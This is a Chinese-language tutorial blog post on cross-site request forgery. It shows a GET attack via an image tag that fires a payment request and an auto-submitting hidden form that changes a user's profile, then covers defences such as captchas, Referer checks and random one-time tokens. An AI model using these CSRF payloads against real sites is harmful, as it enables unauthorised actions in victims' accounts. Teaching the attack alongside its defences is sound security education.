CSRF漏洞分析利用及防御

发布时间:2020-06-03 23:41:12 作者:nw01f
来源:网络 阅读:1061


0x00 简要介绍

    CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无 token/refer 限制,导致***者可以以用户的身份完成操作达到各种目的。根据HTTP请求方式,CSRF利用方式可分为两种

 

0x01 GET类型的CSRF

     这种类型的CSRF一般是由于程序员安全意思不强造成的。GET类型的CSRF利用非常简单,只需要构造一个HTTP请求,

一般会这样利用:

<img src="http://a.ioio.pub:8000/users/pay?uid=122&monery=10000" \>

当目标加载这个图片时会自动加载链接,这时就能完成***了。


例如:在一个留言或博客论坛的环境中,当留言内容没有经过过滤时,可以按照上面的方法构造一个删除该文章的图片链接。当目标查看博客留言时,因为是图片标签,所以浏览器会自动加载该URL这时,目标处于登录状态,那么该文章就会被删除。这种就是CSRF-GET请求的一种利用。


0x02 POST类型的CSRF

     所谓POST类型就是构造一个自动提交的表单,当目标点击给标签时,就会以POST的方式发送一次HTTP请求。

<!DOCTYPE html>
<html>
<head>
    <title>test csrf</title>
</head>
<body>
<body>
    <form name="csrf" action="http://acm.xxxxx.net/JudgeOnline/profile_modify.php?action=modify" method="post" enctype="multipart/form-data">
        <input type="hidden" name="email" value="123456@qq.com">
        <input type="hidden" name="qq" value="123456">
        <input type="hidden" name="telephone" value="12345678901">
        <input type="hidden" name="bloglink" value="smdx">
        <input type="hidden" name="description" value="xmsdx">
    </form>
    <script>document.csrf.submit();</script>
</body>
</html>

以上内容就是一个可以自动提交的表单,当用户触发时,发送一次HTTP请求,修改个人信息。


0x03 如何修复

     针对CSRF的防范:

     关键的操作只接受POST请求,并且添加验证码。

     CSRF***的工程,往往是用户在不知情的情况下触发的,当添加验证码或确认操作时,就可以简单而有效防御CSRF了。

    

     检测refer

常见的互联网页面与页面之间是存在联系的,比如你在www.baidu.com应该是找不到通往www.google.com的链接的,再比如你在 论坛留言,那么不管你留言后重定向到哪里去了,之前的那个网址一定会包含留言的输入框,这个之前的网址就会保留在新页面头文件的Referer中


通过检查Referer的值,我们就可以判断这个请求是合法的还是非法的,但是问题出在服务器不是任何时候都能接受到Referer的值,所以Refere Check 一般用于监控CSRF***的发生,而不用来抵御***。


     Token

目前主流的做法是使用Token抵御CSRF***。下面通过分析CSRF ***来理解为什么Token能够有效


CSRF***要成功的条件在于***者能够预测所有的参数从而构造出合法的请求。所以根据不可预测性原则,我们可以对参数进行加密从而防止CSRF***。


另一个更通用的做法是保持原有参数不变,另外添加一个参数Token,其值是随机的。这样***者因为不知道Token而无法构造出合法的请求进行***。


Token 使用原则

Token要足够随机————只有这样才算不可预测
Token是一次性的,即每次请求成功后要更新Token————这样可以增加***难度,增加预测难度
Token要注意保密性————敏感操作使用post,防止Token出现在URL中
                                                                 ---参照学习与乌云drops
推荐阅读:
  1. DVWA系列之18 CSRF漏洞分析
  2. 怎么在Python中使用Django框架防御CSRF攻击

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

csrf sr

上一篇:Q&A about Linux

下一篇:Oracle里收集与查看统计信息的方法

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》